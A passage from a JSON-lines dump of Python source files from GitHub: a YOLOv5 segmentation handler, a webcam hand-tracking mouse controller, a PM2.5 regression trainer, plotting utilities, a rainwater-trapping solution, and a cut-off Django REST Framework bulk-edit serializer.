postprocess(self, inference_output):\n # perform NMS (nonmax suppression) on model outputs\n pred, proto = inference_output\n pred = non_max_suppression(pred, nm=32)\n\n # initialize empty list of detections for each image\n detections = [[] for _ in range(len(pred))]\n\n for i, det in enumerate(pred): # axis 0: for each image\n if len(det):\n masks = process_mask(proto[i], det[:, 6:], det[:, :4], (self.img_size,self.img_size), upsample=True) # HWC\n det[:, :4] = scale_boxes((self.img_size,self.img_size), det[:, :4], self.im0_size).round() # rescale boxes to im0 size\n for obj in det: # axis 1: for each detection\n xyxy = obj[:4]\n # confidence value\n mask = obj[6:]\n # confidence value\n conf = obj[4].item()\n # index of predicted class\n class_idx = int(obj[5].item())\n # get label of predicted class\n # if missing, then just return class idx\n label = self.mapping.get(str(class_idx), class_idx)\n\n detections[i].append({\n \"x1\": xyxy[0].item(),\n \"y1\": xyxy[1].item(),\n \"x2\": xyxy[2].item(),\n \"y2\": xyxy[3].item(),\n \"confidence\": conf,\n \"class\": label,\n \"mask\": mask.tolist()\n })\n else:\n detections[i].append({})\n\n # format each detection\n return detections\n\n\ndef letterbox(im, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True, stride=32):\n # Resize and pad image while meeting stride-multiple constraints\n shape = im.shape[:2] # current shape [height, width]\n if isinstance(new_shape, int):\n new_shape = (new_shape, new_shape)\n\n # Scale ratio (new / old)\n r = min(new_shape[0] / shape[0], new_shape[1] / shape[1])\n if not scaleup: # only scale down, do not scale up (for better val mAP)\n r = min(r, 1.0)\n\n # Compute padding\n ratio = r, r # width, height ratios\n new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r))\n dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1] # wh padding\n if auto: # minimum rectangle\n dw, dh = np.mod(dw, stride), np.mod(dh, stride) # wh padding\n elif scaleFill: # stretch\n dw, dh = 0.0, 0.0\n new_unpad = (new_shape[1], new_shape[0])\n ratio = new_shape[1] / shape[1], new_shape[0] / shape[0] # width, height ratios\n\n dw /= 2 # divide padding into 2 sides\n dh /= 2\n\n if shape[::-1] != new_unpad: # resize\n im = cv2.resize(im, new_unpad, interpolation=cv2.INTER_LINEAR)\n top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1))\n left, right = int(round(dw - 0.1)), int(round(dw + 0.1))\n im = cv2.copyMakeBorder(im, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color) # add border\n return im, ratio, (dw, dh)\n\n\ndef non_max_suppression(\n prediction,\n conf_thres=0.25,\n iou_thres=0.45,\n classes=None,\n agnostic=False,\n multi_label=False,\n labels=(),\n max_det=300,\n nm=0, # number of masks\n):\n \"\"\"Non-Maximum Suppression (NMS) on inference results to reject overlapping detections\n Returns:\n list of detections, on (n,6) tensor per image [xyxy, conf, cls]\n \"\"\"\n\n # Checks\n assert 0 <= conf_thres <= 1, f'Invalid Confidence threshold {conf_thres}, valid values are between 0.0 and 1.0'\n assert 0 <= iou_thres <= 1, f'Invalid IoU {iou_thres}, valid values are between 0.0 and 1.0'\n if isinstance(prediction, (list, tuple)): # YOLOv5 model in validation model, output = (inference_out, loss_out)\n prediction = prediction[0] # select only inference output\n\n device = prediction.device\n mps = 'mps' in device.type # Apple MPS\n if mps: # MPS not fully supported yet, convert tensors to CPU before NMS\n prediction = prediction.cpu()\n bs = prediction.shape[0] # batch size\n nc = prediction.shape[2] - nm - 5 # number of classes\n xc = prediction[..., 4] > conf_thres # candidates\n\n # Settings\n # min_wh = 2 # (pixels) minimum box width and height\n max_wh = 7680 # (pixels) maximum box width and height\n max_nms = 30000 # maximum number of boxes into torchvision.ops.nms()\n time_limit = 0.5 + 0.05 * bs # seconds to quit after\n redundant = True # require redundant detections\n multi_label &= nc > 1 # multiple labels per box (adds 0.5ms/img)\n merge = False # use merge-NMS\n\n t = time.time()\n mi = 5 + nc # mask start index\n output = [torch.zeros((0, 6 + nm), device=prediction.device)] * bs\n for xi, x in enumerate(prediction): # image index, image inference\n # Apply constraints\n # x[((x[..., 2:4] < min_wh) | (x[..., 2:4] > max_wh)).any(1), 4] = 0 # width-height\n x = x[xc[xi]] # confidence\n\n # Cat apriori labels if autolabelling\n if labels and len(labels[xi]):\n lb = labels[xi]\n v = torch.zeros((len(lb), nc + nm + 5), device=x.device)\n v[:, :4] = lb[:, 1:5] # box\n v[:, 4] = 1.0 # conf\n v[range(len(lb)), lb[:, 0].long() + 5] = 1.0 # cls\n x = torch.cat((x, v), 0)\n\n # If none remain process next image\n if not x.shape[0]:\n continue\n\n # Compute conf\n x[:, 5:] *= x[:, 4:5] # conf = obj_conf * cls_conf\n\n # Box/Mask\n box = xywh2xyxy(x[:, :4]) # center_x, center_y, width, height) to (x1, y1, x2, y2)\n mask = x[:, mi:] # zero columns if no masks\n\n # Detections matrix nx6 (xyxy, conf, cls)\n if multi_label:\n i, j = (x[:, 5:mi] > conf_thres).nonzero(as_tuple=False).T\n x = torch.cat((box[i], x[i, 5 + j, None], j[:, None].float(), mask[i]), 1)\n else: # best class only\n conf, j = x[:, 5:mi].max(1, keepdim=True)\n x = torch.cat((box, conf, j.float(), mask), 1)[conf.view(-1) > conf_thres]\n\n # Filter by class\n if classes is not None:\n x = x[(x[:, 5:6] == torch.tensor(classes, device=x.device)).any(1)]\n\n # Apply finite constraint\n # if not torch.isfinite(x).all():\n # x = x[torch.isfinite(x).all(1)]\n\n # Check shape\n n = x.shape[0] # number of boxes\n if not n: # no boxes\n continue\n x = x[x[:, 4].argsort(descending=True)[:max_nms]] # sort by confidence and remove excess boxes\n\n # Batched NMS\n c = x[:, 5:6] * (0 if agnostic else max_wh) # classes\n boxes, scores = x[:, :4] + c, x[:, 4] # boxes (offset by class), scores\n i = torchvision.ops.nms(boxes, scores, iou_thres) # NMS\n i = i[:max_det] # limit detections\n if merge and (1 < n < 3E3): # Merge NMS (boxes merged using weighted mean)\n # update boxes as boxes(i,4) = weights(i,n) * boxes(n,4)\n iou = box_iou(boxes[i], boxes) > iou_thres # iou matrix\n weights = iou * scores[None] # box weights\n x[i, :4] = torch.mm(weights, x[:, :4]).float() / weights.sum(1, keepdim=True) # merged boxes\n if redundant:\n i = i[iou.sum(1) > 1] # require redundancy\n\n output[xi] = x[i]\n if mps:\n output[xi] = output[xi].to(device)\n if (time.time() - t) > time_limit:\n #LOGGER.warning(f'WARNING ⚠️ NMS time limit {time_limit:.3f}s exceeded')\n print(f'WARNING ⚠️ NMS time limit {time_limit:.3f}s exceeded')\n break # time limit exceeded\n\n return output\n\n\ndef xywh2xyxy(x):\n # Convert nx4 boxes from [x, y, w, h] to [x1, y1, x2, y2] where xy1=top-left, xy2=bottom-right\n y = x.clone() if isinstance(x, torch.Tensor) else np.copy(x)\n y[..., 0] = x[..., 0] - x[..., 2] / 2 # top left x\n y[..., 1] = x[..., 1] - x[..., 3] / 2 # top left y\n y[..., 2] = x[..., 0] + x[..., 2] / 2 # bottom right x\n y[..., 3] = x[..., 1] + x[..., 3] / 2 # bottom right y\n return y\n\n\ndef box_iou(box1, box2, eps=1e-7):\n # https://github.com/pytorch/vision/blob/master/torchvision/ops/boxes.py\n \"\"\"\n Return intersection-over-union (Jaccard index) of boxes.\n Both sets of boxes are expected to be in (x1, y1, x2, y2) format.\n Arguments:\n box1 (Tensor[N, 4])\n box2 (Tensor[M, 4])\n Returns:\n iou (Tensor[N, M]): the NxM matrix containing the pairwise\n IoU values for every element in boxes1 and boxes2\n \"\"\"\n\n # inter(N,M) = (rb(N,M,2) - lt(N,M,2)).clamp(0).prod(2)\n (a1, a2), (b1, b2) = box1.unsqueeze(1).chunk(2, 2), box2.unsqueeze(0).chunk(2, 2)\n inter = (torch.min(a2, b2) - torch.max(a1, b1)).clamp(0).prod(2)\n\n # IoU = inter / (area1 + area2 - inter)\n return inter / ((a2 - a1).prod(2) + (b2 - b1).prod(2) - inter + eps)\n\n\ndef clip_boxes(boxes, shape):\n # Clip boxes (xyxy) to image shape (height, width)\n if isinstance(boxes, torch.Tensor): # faster individually\n boxes[:, 0].clamp_(0, shape[1]) # x1\n boxes[:, 1].clamp_(0, shape[0]) # y1\n boxes[:, 2].clamp_(0, shape[1]) # x2\n boxes[:, 3].clamp_(0, shape[0]) # y2\n else: # np.array (faster grouped)\n boxes[:, [0, 2]] = boxes[:, [0, 2]].clip(0, shape[1]) # x1, x2\n boxes[:, [1, 3]] = boxes[:, [1, 3]].clip(0, shape[0]) # y1, y2\n\n\ndef scale_boxes(img1_shape, boxes, img0_shape, ratio_pad=None):\n # Rescale boxes (xyxy) from img1_shape to img0_shape\n if ratio_pad is None: # calculate from img0_shape\n gain = min(img1_shape[0] / img0_shape[0], img1_shape[1] / img0_shape[1]) # gain = old / new\n pad = (img1_shape[1] - img0_shape[1] * gain) / 2, (img1_shape[0] - img0_shape[0] * gain) / 2 # wh padding\n else:\n gain = ratio_pad[0][0]\n pad = ratio_pad[1]\n\n boxes[:, [0, 2]] -= pad[0] # x padding\n boxes[:, [1, 3]] -= pad[1] # y padding\n boxes[:, :4] /= gain\n clip_boxes(boxes, img0_shape)\n return boxes\n\n\ndef crop_mask(masks, boxes):\n \"\"\"\n \"Crop\" predicted masks by zeroing out everything not in the predicted bbox.\n Vectorized by Chong (thanks Chong).\n Args:\n - masks should be a size [h, w, n] tensor of masks\n - boxes should be a size [n, 4] tensor of bbox coords in relative point form\n \"\"\"\n\n n, h, w = masks.shape\n x1, y1, x2, y2 = torch.chunk(boxes[:, :, None], 4, 1) # x1 shape(1,1,n)\n r = torch.arange(w, device=masks.device, dtype=x1.dtype)[None, None, :] # rows shape(1,w,1)\n c = torch.arange(h, device=masks.device, dtype=x1.dtype)[None, :, None] # cols shape(h,1,1)\n\n return masks * ((r >= x1) * (r < x2) * (c >= y1) * (c < y2))\n\n\ndef process_mask(protos, masks_in, bboxes, shape, upsample=False):\n \"\"\"\n Crop before upsample.\n proto_out: [mask_dim, mask_h, mask_w]\n out_masks: [n, mask_dim], n is number of masks after nms\n bboxes: [n, 4], n is number of masks after nms\n shape:input_image_size, (h, w)\n return: h, w, n\n \"\"\"\n\n c, mh, mw = protos.shape # CHW\n ih, iw = shape\n masks = (masks_in @ protos.float().view(c, -1)).sigmoid().view(-1, mh, mw) # CHW\n\n downsampled_bboxes = bboxes.clone()\n downsampled_bboxes[:, 0] *= mw / iw\n downsampled_bboxes[:, 2] *= mw / iw\n downsampled_bboxes[:, 3] *= mh / ih\n downsampled_bboxes[:, 1] *= mh / ih\n\n masks = crop_mask(masks, downsampled_bboxes) # CHW\n if upsample:\n masks = F.interpolate(masks[None], shape, mode='bilinear', align_corners=False)[0] # CHW\n return masks.gt_(0.5)\n\n\n#if __name__==\"__main__\":\n# handler = ModelHandler()\n# #handler.initialize()\n# with open(\"../download.jpeg\", 'rb') as img:\n# im0_base64 = base64.b64encode(img.read()).decode('utf-8')\n# x = handler.preprocess([im0_base64])\n# x = handler.inference(x)\n# x = handler.postprocess(x)\n# print(x)\n","repo_name":"ben-omji/serve_yolov5","sub_path":"resources/handler_seg.py","file_name":"handler_seg.py","file_ext":"py","file_size_in_byte":14563,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"72788785211","text":"import cv2\nimport mediapipe as mp\nimport pyautogui as pag\n\n\nsc_x, sc_y = pag.size()\nmpHands = mp.solutions.hands # type: ignore\nhands = mpHands.Hands() #for detecting hands and then tracking them.\n\n# to draw hand landmarks\nmpDraw = mp.solutions.drawing_utils #type:ignore\n\nvdo = cv2.VideoCapture(0)\n\ny_index = 0 \nwhile True:\n _, frame = vdo.read()\n \n rgv = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n result = hands.process(rgv) # \n\n if result.multi_hand_landmarks:\n for hand_landmarks in result.multi_hand_landmarks:\n for id,lm in enumerate(hand_landmarks.landmark):\n height,width,c=frame.shape\n dx,dy=int(lm.x*width),int(lm.y*height)\n # print(dx,dy)\n if id==8:\n cv2.circle(frame,(dx,dy),9,(255,0,0),3)\n x_index = sc_x/width*dx\n y_index = sc_y/height*dy\n pag.moveTo(dx,dy)\n \n if id==4:\n cv2.circle(frame,(dx,dy),9,(255,0,0),3)\n x_indext = sc_x/width*dx\n y_indext = sc_y/height*dy\n \n if abs(y_index-y_indext)<20:\n pag.click()\n \n mpDraw.draw_landmarks(frame, hand_landmarks, mpHands.HAND_CONNECTIONS)\n \n cv2.imshow(\"HandDetection\", cv2.flip(frame, 1))\n \n if cv2.waitKey(1) & 0xFF == ord('c'):\n break\n ","repo_name":"genGit963/openCV","sub_path":"mtn/handDet.py","file_name":"handDet.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73568424892","text":"# -*- coding: utf8 -*-\n# #!/bin/bash\n# python3 train.py ./data/train.csv model.npy\n\nimport sys\nimport numpy as np\nimport pandas as pd\nimport math\nimport os\nif __name__ == \"__main__\":\n INPUT_PATH = sys.argv[1] # train.csv\n MODEL_PATH = sys.argv[2] # model.npy\n \n #f = open(INPUT_PATH)\n #os.chdir(os.path.dirname(INPUT_PATH))\n df = pd.read_csv(INPUT_PATH, encoding='Big5')\n #os.chdir(pwd)\n df1 = pd.DataFrame(index=\n pd.MultiIndex.from_product([list(df['日期'].unique()),\n list(df.columns[3:])]), columns=list(df['測項'].unique()))\n del df['測站']\n\n df.set_index('日期',inplace=True)\n print ('Start filling df1...')\n for i in df1.index:\n for c in df1.columns:\n df1.loc[i, c] = df[ df['測項']==c ].loc[ i[0], i[1] ]\n print ('Finish filling df1')\n del df1['RAINFALL']\n df1_float = pd.DataFrame.copy(df1.astype('float')) \n \n for c in df1_float.columns:\n if c=='PM2.5':\n df1_float[c] = pd.Series([*map(lambda x: np.nan if (x<=0 or x>=200) else x, df1_float[c])], index = df1_float.index)\n elif c=='RAINFALL':\n continue\n else:\n df1_float[c] = pd.Series([*map(lambda x: np.nan if (x<=0) else x, df1_float[c])],index = df1_float.index)\n \n df1_float.reset_index(drop=True,inplace=True)\n \n dflist = []\n for i in range(12):\n dflist.append(pd.DataFrame.copy(df1_float.iloc[i*480:i*480+480,:]).reset_index(drop=True))\n \n train_x = 0\n train_y = 0\n train_x_null = True\n train_y_null = True\n print ('build train_x...')\n for df_no in dflist:\n for i in df_no.index:\n if (i+9) <= len(df_no.index)-1:\n if train_x_null:\n train_x = df_no.iloc[i:i+9,:].values.reshape((1,len(df_no.iloc[i:i+9,:].values)*len(df_no.iloc[i:i+9,:].values[0])))\n train_x_null = False\n else:\n train_x = np.append(train_x, df_no.iloc[i:i+9,:].values.reshape((1,len(df_no.iloc[i:i+9,:].values)*len(df_no.iloc[i:i+9,:].values[0]))), axis=0)\n if i>=9:\n if train_y_null:\n train_y = np.array(df_no.iloc[i,df_no.columns.get_loc(\"PM2.5\")]).reshape((1,1))\n train_y_null = False\n else:\n train_y = np.append(train_y, np.array(df_no.iloc[i,df_no.columns.get_loc(\"PM2.5\")]).reshape((1,1)),axis=0)\n\n train_x_bias = np.concatenate(((np.zeros(train_x.shape[0])+1).reshape((train_x.shape[0],1)), train_x ), axis=1)\n train = np.concatenate((train_x_bias, train_y), axis=1)\n train_dropna = train[~np.isnan(train).any(axis=1)]\n train_x_bias = train_dropna[:,:-1]\n train_y = train_dropna[:,-1].reshape((train_dropna.shape[0], 1))\n \n #宣告 weight vector、初始learning rate、# of iteration\n train_w = (np.zeros(train_x_bias.shape[1])).reshape((train_x_bias.shape[1],1))\n s_grad = np.zeros(train_x_bias.shape[1]).reshape((train_x_bias.shape[1],1))\n LearningRate = 0.1\n NumberofIteration = 400000\n \n print (\"Start Training...\")\n for i in range(NumberofIteration):\n y_ = np.dot(train_x_bias, train_w).reshape(train_y.shape)\n L = y_ - train_y\n gra = np.dot(train_x_bias.T, L)\n s_grad += gra**2\n ada = np.sqrt(s_grad)\n train_w -= LearningRate * gra/ada\n \n cost = np.sum(L**2) / train_x_bias.shape[0]\n cost_a = math.sqrt(cost)\n print ('iteration: %d | Cost: %f ' % ( i,cost_a)) \n \n\n \n np.save(MODEL_PATH, train_w)\n","repo_name":"PyYe/ML2018FALL","sub_path":"hw1/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34509917832","text":"import random\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\n\nfrom perception.utils.segmentation_labels import CARLA_CLASSES, DEFAULT_CLASSES\n\n\ndef get_segmentation_colors(n_classes, only_random=False, class_indxs=None, color_seed=73):\n assert only_random or class_indxs\n random.seed(color_seed)\n class_colors = []\n if only_random:\n for _ in range(n_classes):\n class_colors.append((random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))\n return class_colors\n elif class_indxs:\n for c in class_indxs:\n class_colors.append(CARLA_CLASSES[c][1])\n class_colors.append((0, 0, 0))\n return class_colors\n\n\ndef get_rgb_segmentation(semantic_image: np.ndarray, class_colors):\n \"\"\"\n Creates a RGB image from a semantic image. Semantic image must have shape: (Height, Width, #Semantic Classes)\n \"\"\"\n height, width, n_classes = semantic_image.shape\n semantic_image_rgb = np.zeros((height, width, 3))\n semantic_pred_argmax = semantic_image.argmax(axis=2)\n for c in range(n_classes):\n semantic_image_rgb[:, :, 0] += ((semantic_pred_argmax[:, :] == c) * (class_colors[c][0])).astype('uint8')\n semantic_image_rgb[:, :, 1] += ((semantic_pred_argmax[:, :] == c) * (class_colors[c][1])).astype('uint8')\n semantic_image_rgb[:, :, 2] += ((semantic_pred_argmax[:, :] == c) * (class_colors[c][2])).astype('uint8')\n return semantic_image_rgb\n\n\ndef display_images_horizontally(images, fig_width, fig_height, display=True, title=None, subplot_titles=None):\n # Inspired from Hands-On Machine Learning with SciKit-learn, Keras and TensorFlow, page 574\n # Displays the list of images horizontally.\n\n def plot_image(image, cmap=\"binary\"):\n # todo: https://stackoverflow.com/questions/49643907/clipping-input-data-to-the-valid-range-for-imshow-with-rgb-data-0-1-for-floa\n plt.imshow(image, cmap=cmap)\n plt.axis(\"off\")\n # plt.show()\n\n n_images = len(images)\n\n if subplot_titles is not None:\n assert len(subplot_titles) == n_images, \"need a subtitle for every image\"\n\n if n_images > 0:\n fig = plt.figure(figsize=(fig_width, fig_height))\n for image_index in range(n_images):\n image = images[image_index]\n ax = plt.subplot(1, n_images, 1 + image_index)\n\n if subplot_titles is not None:\n ax.set_title(subplot_titles[image_index])\n\n cmap = \"binary\" if len(images[image_index].shape) == 3 else \"gray\"\n plot_image(image, cmap=cmap)\n\n if title is not None:\n fig.suptitle(title, fontsize=\"x-large\")\n\n if display:\n fig.show()\n\n array = get_np_array_from_figure(fig)\n\n plt.close()\n\n return array\n\n\ndef get_np_array_from_figure(fig):\n \"\"\"Returns numpy rgb array from matplotlib figure\"\"\"\n fig.canvas.draw()\n\n data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')\n data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,))\n\n return data\n\ndef display_originals_with_decoded(original_images, decoded_images, title=\"\"):\n # Inspired by Hands-On Machine Learning with SciKit-learn, Keras and TensorFlow, page 574.\n # Meant to be used for visualization of target images and predicted images in multi-task learning.\n # Target images displayed in top row, predicted images in row below.\n\n def plot_image(image, cmap=\"binary\"):\n # todo: https://stackoverflow.com/questions/49643907/clipping-input-data-to-the-valid-range-for-imshow-with-rgb-data-0-1-for-floa\n plt.imshow(image, cmap=cmap)\n plt.axis(\"off\")\n # plt.show()\n\n n_images = len(original_images)\n if n_images > 0:\n fig = plt.figure(figsize=(n_images * 1.2, 3))\n fig.suptitle(title, fontsize=10)\n for image_index in range(n_images):\n cmap = \"binary\" if original_images[image_index].shape[-1] == 3 else \"gray\"\n plt.subplot(2, n_images, 1 + image_index)\n plot_image(original_images[image_index], cmap=cmap)\n plt.subplot(2, n_images, 1 + n_images + image_index)\n plot_image(decoded_images[image_index], cmap=cmap)\n fig.show()\n\n\ndef show_predictions(model, inputs, device, semantic_classes, n_displays=1, title=\"\"):\n # input_image has size (Height, Width, N-Channels).\n # Have to add batch dimension, and transpose it to able to make predictions\n rgb_inputs, rgb_targets, semantic_targets, depth_targets = inputs[0].to(device), inputs[1].to(device), inputs[2].to(\n device), inputs[3].to(device)\n model.eval()\n with torch.no_grad():\n predictions = model(rgb_inputs)\n # Send all predictions and target tensors to cpu\n n_displays = min(n_displays, len(rgb_inputs))\n\n rgb_preds, semantic_preds, depth_preds = [pred.cpu().numpy().transpose(0, 2, 3, 1)[:n_displays] for pred in\n predictions]\n rgb_targets = rgb_targets.cpu().numpy().transpose(0, 2, 3, 1)[:n_displays]\n depth_targets = depth_targets.cpu().numpy().transpose(0, 2, 3, 1)[:n_displays]\n semantic_targets = semantic_targets.cpu().numpy().transpose(0, 2, 3, 1)[:n_displays]\n for i in range(n_displays):\n rgb_pred = rgb_preds[i]\n semantic_pred = semantic_preds[i]\n depth_pred = depth_preds[i]\n\n rgb_target = rgb_targets[i]\n semantic_target = semantic_targets[i]\n depth_target = depth_targets[i]\n\n class_colors = get_segmentation_colors(n_classes=len(semantic_classes) + 1, class_indxs=semantic_classes)\n\n semantic_pred_rgb = get_rgb_segmentation(semantic_image=semantic_pred, class_colors=class_colors)\n semantic_target_rgb = get_rgb_segmentation(semantic_image=semantic_target, class_colors=class_colors)\n\n semantic_pred_rgb = semantic_pred_rgb / 255\n semantic_target_rgb = semantic_target_rgb / 255\n\n # Setup original images for display\n original_images = [rgb_target, semantic_target_rgb, depth_target]\n # Setup decoded images for display\n decoded_images = [rgb_pred, semantic_pred_rgb, depth_pred]\n\n # Show rgb, semantic segmentation and depth images with corresponding predictions\n display_originals_with_decoded(original_images=original_images, decoded_images=decoded_images, title=title)\n\n\ndef plot_image(image, title=\"\", cmap=\"binary\"):\n # todo: https://stackoverflow.com/questions/49643907/clipping-input-data-to-the-valid-range-for-imshow-with-rgb-data-0-1-for-floa\n plt.imshow(image, cmap=cmap)\n plt.title(title)\n plt.show()\n\n\ndef plot_segmentation(image: np.ndarray, title=None):\n _, _, n_classes = image.shape\n class_colors = get_segmentation_colors(n_classes=n_classes, class_indxs=DEFAULT_CLASSES)\n semantic_image_rgb = get_rgb_segmentation(image, class_colors=class_colors) / 255\n plot_image(semantic_image_rgb, title=title)\n plt.show()\n","repo_name":"jostl/masters-thesis","sub_path":"perception/utils/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":6955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"11082659407","text":"def right_max(h):\n xs = [-1] * len(h)\n tmp_max = h[-1]\n\n for i in range(len(h) - 2, -1, -1):\n xs[i] = max(tmp_max, h[i + 1])\n tmp_max = xs[i]\n\n return xs\n\n\ndef left_max(h):\n xs = [-1] * len(h)\n tmp_max = h[0]\n for i in range(1, len(h)):\n xs[i] = max(tmp_max, h[i - 1])\n tmp_max = xs[i]\n\n return xs\n\n\nclass Solution:\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n rm_xs = right_max(height)\n lm_xs = left_max(height)\n\n print(height)\n print(rm_xs)\n print(lm_xs)\n\n vol = 0\n\n for i in range(len(height)):\n if lm_xs[i] == -1 or rm_xs[i] == -1:\n continue\n\n cv = min(lm_xs[i] - height[i], rm_xs[i] - height[i])\n cv = max(cv, 0)\n print(i, ':', cv, ':', lm_xs[i], rm_xs[i], height[i])\n vol += cv\n\n return vol\n\n\nif __name__ == '__main__':\n h1 = [0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1]\n print(Solution().trap(h1))\n","repo_name":"ssd227/sgd-algorithm","sub_path":"leetcode/problem/rainwater/rain01.py","file_name":"rain01.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"120226281","text":"# coding: utf-8\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom six.moves.urllib.parse import urlsplit\n\nfrom contextlib import contextmanager\n\nfrom django.db import transaction\nfrom django.urls import resolve, Resolver404\n\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError, APIException\nfrom rest_framework.request import override_method\nfrom rest_framework.generics import GenericAPIView\n\n\n__all__ = (\n 'BulkEditSerializer',\n)\n\n\nclass _ActionSerializer(serializers.Serializer):\n \"\"\"\n Each action has an 'action' key representing an action to take\n against an object.\n\n Action reference:\n * \"create\":\n Creates a new object.\n The type of the object can be given by the `url`.\n This should be the URL of a list view where you'd POST to create\n an object normally. The serializer to use for creating the object\n will be retrieved from the view associated with that URL.\n\n `value` should contain the full content required to create the object\n\n * \"update\":\n Partial update of an existing object at the given `url`\n\n * \"delete\":\n Delete an existing object at the given `url`. `value` is ignored\n for this action.\n\n\n [TODO]: (not implemented yet) Collection actions (manipulating\n membership of a collection):\n * \"add\"\n * \"remove\"\n * \"append\"\n * \"insert\"\n * \"reorder\" (??)\n \"\"\"\n CHOICES_ACTION = ('create', 'update', 'delete')\n _ACTION_METHODS = {\n 'create': 'POST',\n 'update': 'PUT',\n 'delete': 'DELETE',\n }\n\n # Note: Can't use HyperlinkedIdentityField, because it could be a URL to\n # lots of different types of object, and it could even be a list URL.\n # Also can't use URLField, because the URLValidator requires a TLD,\n # and that breaks in the tests (hostname is 'testserver')\n # So we accept strings, but we validate in `validate_url`\n # (and the hostname must be the same as that of the current request)\n url = serializers.CharField(required=False)\n action = serializers.ChoiceField(CHOICES_ACTION)\n value = serializers.DictField(required=False)\n\n def allow_bulk_edit_for_view(self, fake_request):\n \"\"\"\n This is called during serializer validation for each patch to be applied.\n The fake request object corresponding to the individual edit endpoint is provided.\n\n This should return True if the patch is allowed, and False otherwise.\n\n The default implementation allows edits to all subresources of the current view.\n i.e. if this view is at /foo/bar/ then:\n * edits to /foo/bar/baz/ are allowed\n * edits to /foo/ aren't allowed.\n \"\"\"\n current_request = self.context['request']\n return fake_request.path.startswith(current_request.path)\n\n def validate_url(self, url):\n \"\"\"\n Validates a URL. Returns a 3-tuple (path, resolver_match, full URL)\n\n Accepts either host-relative URLs (starting with '/') or absolute URLs.\n If an absolute URL is supplied, the protocol/hostname/port must\n match the current request.\n \"\"\"\n split = urlsplit(url)\n\n if split.scheme or split.netloc:\n # Check scheme, hostname and port is the same as the current request\n r = self.context['request']\n current_url = urlsplit(r.build_absolute_uri())\n if tuple(split[:2]) != current_url[:2]:\n raise self.invalid_url(url)\n\n # Check it's a valid view\n try:\n resolver_match = resolve(split.path)\n except Resolver404:\n raise self.invalid_url(url)\n\n view = resolver_match.func\n if not hasattr(view, 'view_class') or not issubclass(view.view_class, GenericAPIView):\n # Not a class-based DRF view. Can't easily support this.\n raise self.invalid_url(url)\n\n return split.path, resolver_match, url\n\n def invalid_url(self, url):\n raise ValidationError({\n \"url\": [\"URL target is invalid or can't be edited by this endpoint: %s\" % url]\n })\n\n @contextmanager\n def _get_action_view(self, validated_data):\n request = self.context['request']\n path, resolver_match, url = validated_data['url']\n view = resolver_match.func\n\n # Make a fake request and use that for the view.\n method = self._ACTION_METHODS[validated_data['action']]\n with override_method(view, request, method) as new_request:\n new_request.resolver_match = resolver_match\n new_request.path = path\n new_request._data = new_request._full_data = validated_data.get('value', {})\n\n # `view` is actually a callback function (see View.as_view)\n # We replace it with our own callback instead,\n # just so we can override initialize_request below\n view_instance = view.view_class(**view.view_initkwargs)\n if hasattr(view_instance, 'get') and not hasattr(view_instance, 'head'):\n view_instance.head = view_instance.get\n view_instance.request = new_request\n view_instance.args = resolver_match.args\n view_instance.kwargs = resolver_match.kwargs\n\n # DRF's initialize_request() expects a WSGIRequest,\n # and wraps it with a *new* DRF Request object.\n # Instead, we want to keep the existing DRF Request object.\n def _initialize_request(request, *args, **kwargs):\n return request\n view_instance.initialize_request = _initialize_request\n\n def view_callback():\n return view_instance.dispatch(\n view.request,\n *view_instance.args,\n **view_instance.kwargs\n )\n\n view_callback.view_instance = view_instance\n yield view_callback\n\n def to_internal_value(self, data):\n vd = super(_ActionSerializer, self).to_internal_value(data)\n action = vd['action']\n\n if action != 'delete' and 'value' not in vd:\n raise ValidationError({\n 'value': ['This field is required when action is \"%s\"' % action]\n })\n\n if 'url' not in vd:\n if action == 'create':\n # POST to the current URL\n r = self.context['request']\n vd['url'] = (r.path, r.resolver_match, r.build_absolute_uri())\n else:\n raise ValidationError({\n 'url': ['This field is required when action is \"%s\"' % action]\n })\n\n method = self._ACTION_METHODS[action]\n\n with self._get_action_view(vd) as view_callback:\n view_instance = view_callback.view_instance\n\n if method not in view_instance.allowed_methods:\n raise ValidationError({\n 'url': [\"This endpoint doesn't accept action='%s'\" % action]\n })\n\n if not self.allow_bulk_edit_for_view(view_instance.request):\n raise self.invalid_url(vd['url'][2])\n\n return vd\n\n def apply_action(self, attrs):\n with self._get_action_view(attrs) as view_callback:\n return view_callback()\n\n\nclass BulkEditSerializer(serializers.ListSerializer):\n \"\"\"\n [De]Serializes a patch comprising multiple actions.\n \"\"\"\n child = _ActionSerializer()\n\n def __init__(self, *args, **kwargs):\n okay_statuses = kwargs.pop('only_statuses', range(200, 400))\n super(BulkEditSerializer, self).__init__(*args, **kwargs)\n self.okay_statuses = set(okay_statuses)\n\n @transaction.atomic\n def apply_bulk_edits(self):\n \"\"\"\n Apply all actions.\n \"\"\"\n response_data = []\n statuses = []\n for attrs in self.validated_data:\n response = self.child.apply_action(attrs)\n statuses.append(response.status_code)\n response_data.append(response.data)\n\n if not self.okay_statuses.issuperset(statuses):\n # TODO: are these full content responses *useful* ?\n # Maybe we should just pass on the *errored* responses\n error_statuses = 